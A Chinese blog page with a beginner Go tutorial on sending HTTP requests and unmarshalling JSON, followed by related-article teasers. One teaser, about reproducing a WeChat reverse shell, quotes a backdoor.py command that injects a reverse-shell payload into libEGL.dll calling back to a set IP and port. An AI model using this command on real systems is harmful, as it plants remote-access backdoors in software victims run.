golang入门案例之http client请求
发请求,接收接送,并解析
- package main
- import (
- "fmt"
- "net/http"
- "io/ioutil"
- "net/url"
- "encoding/json"
- "os"
- )
- type Student struct {
- Name string
- Age int
- Guake bool
- Classes []string
- Price float32
- }
- func (s *Student) ShowStu() {
- fmt.Println("show Student :")
- fmt.Println("\tName\t:", s.Name)
- fmt.Println("\tAge\t:", s.Age)
- fmt.Println("\tGuake\t:", s.Guake)
- fmt.Println("\tPrice\t:", s.Price)
- fmt.Printf("\tClasses\t: ")
- for _, a := range s.Classes {
- fmt.Printf("%s ", a)
- }
- fmt.Println("")
- }
- type multitypeTest struct {
- One string `json:"one"`
- Two string `json:"two"`
- }
- func (s *multitypeTest) Showmul() {
- fmt.Println("show Student :")
- fmt.Println("\tName\t:", s.One)
- fmt.Println("\tAge\t:", s.Two)
- }
- func IndexHandler(w http.ResponseWriter, r *http.Request) {
- fmt.Fprintln(w, "hello world")
- }
- func main() {
- //jsonTest()
- httpGet()
- }
- func httpPostForm() {
- resp, err := http.PostForm("",
- url.Values{"key": {"Value"}, "id": {"123"}})
- if err != nil {
- // handle error
- }
- defer resp.Body.Close()
- body, err := ioutil.ReadAll(resp.Body)
- if err != nil {
- // handle error
- }
- fmt.Println(string(body))
- }
- func httpGet() {
- resp, err := http.Get("https://X.rong360.com/XXX/XXX")
- CheckError(err)
- defer resp.Body.Close()
- body, err := ioutil.ReadAll(resp.Body)
- CheckError(err)
- fmt.Println(string(body))
- //f1 := &multitypeTest{
- // One:"a",
- // Two:"b",
- // }
- //f1.Showmul()
- //fjson1, err := json.Marshal(f1)
- //fmt.Println(string(fjson1))
- CheckError(err)
- f2 := &multitypeTest{}
- err = json.Unmarshal([]byte(body), &f2)
- CheckError(err)
- f2.Showmul()
- }
- func jsonTest() {
- //解析固定结构的json
- st := &Student{
- "Xiao Ming",
- 16,
- true,
- []string{"Math", "English", "Chinese"},
- 9.99,
- }
- st1, err := json.Marshal(st)
- fmt.Println(string(st1))
- CheckError(err)
- stb := &Student{}
- err = json.Unmarshal([]byte(st1), &stb)
- stb.ShowStu()
- //
- //b := []byte(`{1:"Wednesday",2:6,3:["Gomez","Morticia"]}`)
- ////解析未知结构的json
- //var f interface{}
- //err = json.Unmarshal(b, &f)
- //CheckError(err)
- //这是f里面存储的是一个键值对的map
- //f = map[string]interface{}{
- // "Name": "Wednesday",
- // "Age": 6,
- // "Parents": []interface{}{
- // "Gomez",
- // "Morticia",
- // },
- //}
- //m := f.(map[interface{}]interface{})
- //for k, v := range m {
- // switch vv := v.(type) {
- // case string:
- // fmt.Println(k, "is string", vv)
- // case int:
- // fmt.Println(k, "is int", vv)
- // case float64:
- // fmt.Println(k, "is float64", vv)
- // case []interface{}:
- // fmt.Println(k, "is an array:")
- // for i, u := range vv {
- // fmt.Println(i, u)
- // }
- // default:
- // fmt.Println(k, "is of a type I don't know how to handle")
- // }
- //}
- }
- func CheckError(err error) {
- if err != nil {
- fmt.Fprintf(os.Stderr, "Fatal error: %s", err.Error())
- os.Exit(1)
- }
- }
golang入门案例之http client请求的更多相关文章
- golang入门案例之SOCKET
//服务端代码package main import ( "fmt" "net" "log" "os" "en ...
- SpringMVC入门案例及请求流程图(关于处理器或视图解析器或处理器映射器等的初步配置)
SpringMVC简介:SpringMVC也叫Spring Web mvc,属于表现层的框架.Spring MVC是Spring框架的一部分,是在Spring3.0后发布的 Spring结构图 Spr ...
- window下golang使用gRPC入门案例&net core客户端
gRPC是google开源高性能分布式RPC框架,支持http/2 双向数据流传输及Protobuff,可以在任何环境下运行. 它可以有效地将数据中心内和跨数据中心的服务与可插拔支持进行负载均衡,跟踪 ...
- spring-cloud-Zuul学习(一)【基础篇】--入门案例【重新定义spring cloud实践】
-- 2 ...
- _00017 Kafka的体系结构介绍以及Kafka入门案例(0基础案例+Java API的使用)
博文作者:妳那伊抹微笑 itdog8 地址链接 : http://www.itdog8.com(个人链接) 博客地址:http://blog.csdn.net/u012185296 博文标题:_000 ...
- RabbitMQ入门案例
RabbitMQ入门案例 Rabbit 模式 https://www.rabbitmq.com/getstarted.html 实现步骤 构建一个 maven工程 导入 rabbitmq的依赖 启动 ...
- SpringMvc核心流程以及入门案例的搭建
1.什么是SpringMvc Spring MVC属于SpringFrameWork的后续产品,已经融合在Spring Web Flow里面.Spring 框架提供了构建 Web 应用程序的全功能 M ...
- MyBatis入门案例、增删改查
一.MyBatis入门案例: ①:引入jar包 ②:创建实体类 Dept,并进行封装 ③ 在Src下创建大配置mybatis-config.xml <?xml version="1.0 ...
- MyBatis入门案例 增删改查
一.MyBatis入门案例: ①:引入jar包 ②:创建实体类 Dept,并进行封装 ③ 在Src下创建大配置mybatis-config.xml <?xml version="1.0 ...
随机推荐
- 2019.10.9wechat反弹shell复现
./backdoor.py -f libEGL.dll -s reverse_shell_tcp_inline -P 6666 -H 192.168.106.137 msfconsle 打开msf 在 ...
- Python测开面试题之装饰器
Python的装饰器是面试常被问到的问题之一,在面试Python测试开发时被问到的概率不低于70%,那么装饰器的原理是什么,怎么快速写出一个装饰器呢,接下来我们详细讲解装饰器的实现方法. Python ...
- 牛客练习赛47 D DongDong坐飞机 (分层最短路)
链接:https://ac.nowcoder.com/acm/contest/904/D 来源:牛客网 DongDong坐飞机 时间限制:C/C++ 1秒,其他语言2秒 空间限制:C/C++ 5242 ...
- zabbix的简单操作(proxy代理分布式监控)
分布式监控 作用:分担压力,减轻负载,多机房监控 通过zabbix proxy的搭建,zabbix server可以远程从proxy获取到数据,这里的环境相当于zabbix server具有一个公网i ...
- springboot rabbitmq direct exchange和topic exchange 写法上关于路由键的区别
这是direct exchange写法中消息发送写法,可见下图红色框中路由键是queue队列中定义的路由键 这是topic exchange写法中消息发送写法,可见下图红色框中路由键是exchange ...
- 安装theano时候发现报错:cannot install ''numpy'.It is a distutils installed project and thus we cannot ...
发现我安装theano的时候需要numpy需要1.9以上版本,而我之前自带的numpy是1.8版本,所以版本有问题.根本原因是theano需要的numpy版本不符合要求,但是numpy已经安装过了,所 ...
- UVALive - 5695 The Last Puzzle (思维+区间dp)
题目链接 题目大意:有n个按钮排成一条直线,你的任务是通过左右移动按下所有按钮,按钮如果一段时间没有被按下就会被弹开. 以下是我的推论(不一定正确): 直观地看的话,如果选择的是最优路径,那么路径的形 ...
- 安全框架Shiro和SpringSecurity的比较
来自:https://www.cnblogs.com/zoli/p/11236799.html 两个基本的概念 安全实体:系统需要保护的具体对象数据 权限:系统相关的功能操作,例如基本的CRUD Sh ...
- (转)CSS定义字体间距 字体行与行间距
源网址:http://www.cnblogs.com/jian1982/archive/2010/07/03/1770349.html CSS定义字体行间距 line-height:xxpx; CSS ...
- python 数据库错误处理
DB API中定义了一些数据库操作的错误及异常,下表列出了这些错误和异常: 异常 描述 Warning 当有严重警告时触发,例如插入数据是被截断等等.必须是 StandardError 的子类. Er ...